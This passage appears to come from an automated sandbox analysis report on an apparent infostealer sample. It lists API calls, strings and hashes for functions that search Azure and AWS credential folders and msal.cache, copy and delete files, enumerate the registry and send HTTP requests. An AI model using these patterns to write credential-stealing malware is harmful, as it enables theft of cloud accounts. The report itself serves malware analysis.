Opcode ID: 26b7f7b61c9023f7b7a3eeec40d42ac9d99b4e0fbc45ea4abb4b5bceb55b1350
Instruction ID: 24881de991898ad3c98a7ebde4c66f569887ed74d6f8b27bd7dfa0ae6b8d97b9
Opcode Fuzzy Hash: 26b7f7b61c9023f7b7a3eeec40d42ac9d99b4e0fbc45ea4abb4b5bceb55b1350
Instruction Fuzzy Hash: C912BF71920118FAEB15EBA0DC9AFEE7378BF14700F5041A9F14672092DF786A49CF66

Function 0072A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0073AA70: StrCmpCA.SHLWAPI(00000000,00741470,0072D1A2,00741470,00000000), ref: 0073AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0072AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0072AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0072ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0072A8B0

Part of subcall function 0073A820: lstrlenA.KERNEL32(00000000,?,?,00735B54,00740ADB,00740ADA,?,?,00736B16,00000000,?,015F14B8,?,0074110C,?,00000000), ref: 0073A82B
Part of subcall function 0073A820: lstrcpy.KERNEL32(t,00000000), ref: 0073A885

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

lstrcatA.KERNEL32(?,00000000,00000000,015FD5D8,00741318,015FD5D8,00741314), ref: 0072ACEB
lstrcatA.KERNEL32(?,00741320), ref: 0072ACFA
lstrcatA.KERNEL32(?,00000000), ref: 0072AD0D
lstrcatA.KERNEL32(?,00741324), ref: 0072AD1C
lstrcatA.KERNEL32(?,00000000), ref: 0072AD2F
lstrcatA.KERNEL32(?,00741328), ref: 0072AD3E
lstrcatA.KERNEL32(?,00000000), ref: 0072AD51
lstrcatA.KERNEL32(?,0074132C), ref: 0072AD60
lstrcatA.KERNEL32(?,00000000), ref: 0072AD73
lstrcatA.KERNEL32(?,00741330), ref: 0072AD82
lstrcatA.KERNEL32(?,00000000), ref: 0072AD95
lstrcatA.KERNEL32(?,00741334), ref: 0072ADA4
lstrcatA.KERNEL32(?,00000000), ref: 0072ADB7
lstrlenA.KERNEL32(?), ref: 0072AE0D
lstrlenA.KERNEL32(?), ref: 0072AE1C
memset.MSVCRT ref: 0072AE6B

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 00729E10: memcmp.MSVCRT(?,v20,00000003), ref: 00729E2D

DeleteFileA.KERNEL32(00000000), ref: 0072AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0072ABD4

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: 4c0d64ecd4c551c6067f123007a0d90350b5719a2fdfc789610e606c8480a580
Instruction ID: a8555821ef3aaf0b84c22990567b4b8e3091ba451c4b85a27862587968879fcc
Opcode Fuzzy Hash: 4c0d64ecd4c551c6067f123007a0d90350b5719a2fdfc789610e606c8480a580
Instruction Fuzzy Hash: D3121D72910118FBEB05EBA0DD9BEEE7378AF14300F504168F546B6092DE79AE05DB63

Function 00734D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00734D87

Part of subcall function 00738DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00738E0B

lstrcatA.KERNEL32(?,00000000), ref: 00734DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00734DCD

Part of subcall function 00734910: wsprintfA.USER32 ref: 0073492C
Part of subcall function 00734910: FindFirstFileA.KERNEL32(?,?), ref: 00734943

memset.MSVCRT ref: 00734E13
lstrcatA.KERNEL32(?,00000000), ref: 00734E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00734E59

Part of subcall function 00734910: StrCmpCA.SHLWAPI(?,00740FDC), ref: 00734971
Part of subcall function 00734910: StrCmpCA.SHLWAPI(?,00740FE0), ref: 00734987
Part of subcall function 00734910: FindNextFileA.KERNEL32(000000FF,?), ref: 00734B7D
Part of subcall function 00734910: FindClose.KERNEL32(000000FF), ref: 00734B92

memset.MSVCRT ref: 00734E9F
lstrcatA.KERNEL32(?,00000000), ref: 00734EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00734EE5

Part of subcall function 00734910: wsprintfA.USER32 ref: 007349B0
Part of subcall function 00734910: StrCmpCA.SHLWAPI(?,007408D2), ref: 007349C5
Part of subcall function 00734910: wsprintfA.USER32 ref: 007349E2
Part of subcall function 00734910: PathMatchSpecA.SHLWAPI(?,?), ref: 00734A1E
Part of subcall function 00734910: lstrcatA.KERNEL32(?,015FD6E8,?,000003E8), ref: 00734A4A
Part of subcall function 00734910: lstrcatA.KERNEL32(?,00740FF8), ref: 00734A5C
Part of subcall function 00734910: lstrcatA.KERNEL32(?,?), ref: 00734A70
Part of subcall function 00734910: lstrcatA.KERNEL32(?,00740FFC), ref: 00734A82
Part of subcall function 00734910: lstrcatA.KERNEL32(?,?), ref: 00734A96
Part of subcall function 00734910: CopyFileA.KERNEL32(?,?,00000001), ref: 00734AAC
Part of subcall function 00734910: DeleteFileA.KERNEL32(?), ref: 00734B31

memset.MSVCRT ref: 00734F2B

Strings

msal.cache, xrefs: 00734EF0
*.*, xrefs: 00734DD8
*.*, xrefs: 00734E64
\.IdentityService\, xrefs: 00734ED9
zas, xrefs: 00734DF1, 00734E7D, 00734F09, 00734F34, 00734DF4, 00734E80, 00734F0C
Azure\.azure, xrefs: 00734DD3
Azure\.IdentityService, xrefs: 00734EEB
Azure\.aws, xrefs: 00734E5F
\.azure\, xrefs: 00734DC1
\.aws\, xrefs: 00734E4D

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zas
API String ID: 4017274736-3247325388
Opcode ID: 810206f9cdc60f2d2f4ef372dd41717551d28c4fba604c82f2d34adfbb0db81d
Instruction ID: 0c0de7f7ce712016c226f6393aa2e63ea5a1bcf6d86251d9e1b6170d0c305e27
Opcode Fuzzy Hash: 810206f9cdc60f2d2f4ef372dd41717551d28c4fba604c82f2d34adfbb0db81d
Instruction Fuzzy Hash: 514195B6A40314A7D754F770EC4BFDD3738AB14701F404494B685660C2EEF9ABD98B92

Function 0072CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 00738B60: GetSystemTime.KERNEL32(?,015F4B68,007405AE,?,?,?,?,?,?,?,?,?,00724963,?,00000014), ref: 00738B86

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0072CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0072D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0072D0CE
lstrcatA.KERNEL32(?,00000000,015FD5D8,00741474,015FD5D8,00741470,00000000), ref: 0072D208
lstrcatA.KERNEL32(?,00741478), ref: 0072D217
lstrcatA.KERNEL32(?,00000000), ref: 0072D22A
lstrcatA.KERNEL32(?,0074147C), ref: 0072D239
lstrcatA.KERNEL32(?,00000000), ref: 0072D24C
lstrcatA.KERNEL32(?,00741480), ref: 0072D25B
lstrcatA.KERNEL32(?,00000000), ref: 0072D26E
lstrcatA.KERNEL32(?,00741484), ref: 0072D27D
lstrcatA.KERNEL32(?,00000000), ref: 0072D290
lstrcatA.KERNEL32(?,00741488), ref: 0072D29F
lstrcatA.KERNEL32(?,00000000), ref: 0072D2B2
lstrcatA.KERNEL32(?,0074148C), ref: 0072D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0072D2D4
lstrcatA.KERNEL32(?,00741490), ref: 0072D2E3

Part of subcall function 0073A820: lstrlenA.KERNEL32(00000000,?,?,00735B54,00740ADB,00740ADA,?,?,00736B16,00000000,?,015F14B8,?,0074110C,?,00000000), ref: 0073A82B
Part of subcall function 0073A820: lstrcpy.KERNEL32(t,00000000), ref: 0073A885

lstrlenA.KERNEL32(?), ref: 0072D32A
lstrlenA.KERNEL32(?), ref: 0072D339
memset.MSVCRT ref: 0072D388

Part of subcall function 0073AA70: StrCmpCA.SHLWAPI(00000000,00741470,0072D1A2,00741470,00000000), ref: 0073AA8F

DeleteFileA.KERNEL32(00000000), ref: 0072D3B4

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 8a02c5b7605fb19a438a77f7e99e3e4cbe759ec3cd964269d0a25be7564e2c26
Instruction ID: 47e949337a61bc8e68daa05775db04d666c3f2ab5c2d967ebdd6b73b08a053bd
Opcode Fuzzy Hash: 8a02c5b7605fb19a438a77f7e99e3e4cbe759ec3cd964269d0a25be7564e2c26
Instruction Fuzzy Hash: 6CE1FA72910108FBDB05EBA0DD9AEEE7378AF14301F504169F146B7092DE79AE09DB62

Function 00724880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 007247EA
Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724801
Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724818
Part of subcall function 007247B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00724839
Part of subcall function 007247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00724849

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00724915
StrCmpCA.SHLWAPI(?,015FD838), ref: 0072493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00724ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00740DDB,00000000,?,?,00000000,?,",00000000,?,015FD698), ref: 00724DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00724E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00724E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00724E49
InternetCloseHandle.WININET(00000000), ref: 00724EAD
InternetCloseHandle.WININET(00000000), ref: 00724EC5
HttpOpenRequestA.WININET(00000000,015FD678,?,01601780,00000000,00000000,00400100,00000000), ref: 00724B15

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

InternetCloseHandle.WININET(00000000), ref: 00724ECF

Strings

------, xrefs: 007249BD
------, xrefs: 00724B28
------, xrefs: 00724C69
", xrefs: 00724D33
", xrefs: 00724BF2

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 8aa328574c99ce9b20965c7a7760c794a5272f582d2f941b9d522094d9f3fd62
Instruction ID: 77fdfca03b570b4d96d4e4aefdf5ff88f9647f7ca0704aa639fde4d2759fd921
Opcode Fuzzy Hash: 8aa328574c99ce9b20965c7a7760c794a5272f582d2f941b9d522094d9f3fd62
Instruction Fuzzy Hash: CB12AB72910218FAEB15EB90DD96FEEB378AF54300F5141A9B14672092DF782F49CF62

Function 00738320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

RegOpenKeyExA.KERNEL32(00000000,015FDFA8,00000000,00020019,00000000,007405B6), ref: 007383A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00738426
wsprintfA.USER32 ref: 00738459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0073847B
RegCloseKey.ADVAPI32(00000000), ref: 0073848C
RegCloseKey.ADVAPI32(00000000), ref: 00738499

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Strings

?, xrefs: 0073837A
- , xrefs: 007385A3
%s\%s, xrefs: 0073844D

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 9e85dbdd3c606170a4c61f6a038c4169387b124f9ffc299242537fb881c20ae9
Instruction ID: e6e6b0f58971e55e295ec5d1f99da7984a231e5da7c9ab0821c05217e84904f9
Opcode Fuzzy Hash: 9e85dbdd3c606170a4c61f6a038c4169387b124f9ffc299242537fb881c20ae9
Instruction Fuzzy Hash: 6E810CB1914218EBEB64DB50CC96FEAB7B8FF48700F008299F149A6142DF756B85CF91

Function 00726280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 007247EA
Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724801
Part of subcall function 007247B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724818
Part of subcall function 007247B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00724839
Part of subcall function 007247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00724849

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

InternetOpenA.WININET(00740DFE,00000001,00000000,00000000,00000000), ref: 007262E1
StrCmpCA.SHLWAPI(?,015FD838), ref: 00726303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00726335
HttpOpenRequestA.WININET(00000000,GET,?,01601780,00000000,00000000,00400100,00000000), ref: 00726385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007263BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007263D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 007263FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0072646D
InternetCloseHandle.WININET(00000000), ref: 007264EF
InternetCloseHandle.WININET(00000000), ref: 007264F9
InternetCloseHandle.WININET(00000000), ref: 00726503

Strings

GET, xrefs: 0072637C
ERROR, xrefs: 00726407
ERROR, xrefs: 007264C9

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
